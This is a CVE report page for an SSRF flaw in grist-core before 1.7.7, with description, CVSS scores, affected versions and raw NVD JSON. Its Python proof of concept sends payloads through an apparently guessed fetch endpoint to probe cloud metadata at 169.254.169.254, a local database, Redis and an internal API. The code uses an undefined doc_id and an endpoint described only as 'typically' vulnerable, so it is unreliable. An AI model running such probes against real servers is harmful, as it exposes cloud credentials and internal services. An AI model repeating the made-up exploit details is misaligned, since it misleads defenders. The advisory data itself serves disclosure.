Security Vulnerability Report
中文
CVE-2025-64752 CVSS 6.8 MEDIUM

CVE-2025-64752

Published: 2025-11-13 22:15:53
Last Modified: 2025-11-26 16:19:35

Description

grist-core is a spreadsheet hosting server. Prior to version 1.7.7, a user with access to any document on a Grist installation can use a feature for fetching from a URL that is executed on the server. The privileged network access of server-side requests could offer opportunities for attack escalation. This issue is fixed in version 1.7.7. The mitigation was to use the proxy for untrusted fetches intended for such purposes. As a workaround, avoid making http/https endpoints available to an instance running Grist that expose credentials or operate without credentials.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:getgrist:grist-core:*:*:*:*:*:*:*:* - VULNERABLE
grist-core < 1.7.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64752 SSRF PoC for grist-core # This PoC demonstrates the Server-Side Request Forgery vulnerability import requests import json TARGET_URL = "http://target-grist-instance.com" # Step 1: Authenticate and get access to any document # Assuming attacker has access to at least one document session = requests.Session() # Step 2: Use the URL fetch feature to make server-side requests # The vulnerable endpoint typically accepts a URL parameter vulnerable_endpoint = f"{TARGET_URL}/api/documents/{doc_id}/fetch" # Step 3: Probe internal services (example: AWS metadata) ssrf_payloads = [ "http://169.254.169.254/latest/meta-data/", # AWS metadata "http://localhost:5432/", # Internal database "http://127.0.0.1:6379/", # Redis "http://internal-api.local/secret", # Internal API ] for payload in ssrf_payloads: try: response = session.post( vulnerable_endpoint, json={"url": payload}, timeout=5 ) print(f"Target: {payload}") print(f"Status: {response.status_code}") print(f"Response: {response.text[:500]}") print("---") except requests.exceptions.RequestException as e: print(f"Error probing {payload}: {e}") print("\nNote: This PoC is for educational and authorized testing purposes only.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64752", "sourceIdentifier": "[email protected]", "published": "2025-11-13T22:15:52.563", "lastModified": "2025-11-26T16:19:34.703", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "grist-core is a spreadsheet hosting server. Prior to version 1.7.7, a user with access to any document on a Grist installation can use a feature for fetching from a URL that is executed on the server. The privileged network access of server-side requests could offer opportunities for attack escalation. This issue is fixed in version 1.7.7. The mitigation was to use the proxy for untrusted fetches intended for such purposes. As a workaround, avoid making http/https endpoints available to an instance running Grist that expose credentials or operate without credentials."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:getgrist:grist-core:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.7", "matchCriteriaId": "B4BAA1F5-E447-47A3-9824-ECA85B6B42B2"}]}]}], "references": [{"url": "https://github.com/gristlabs/grist-core/releases/tag/v1.7.7", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/gristlabs/grist-core/security/advisories/GHSA-qh95-2qv8-pqx3", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}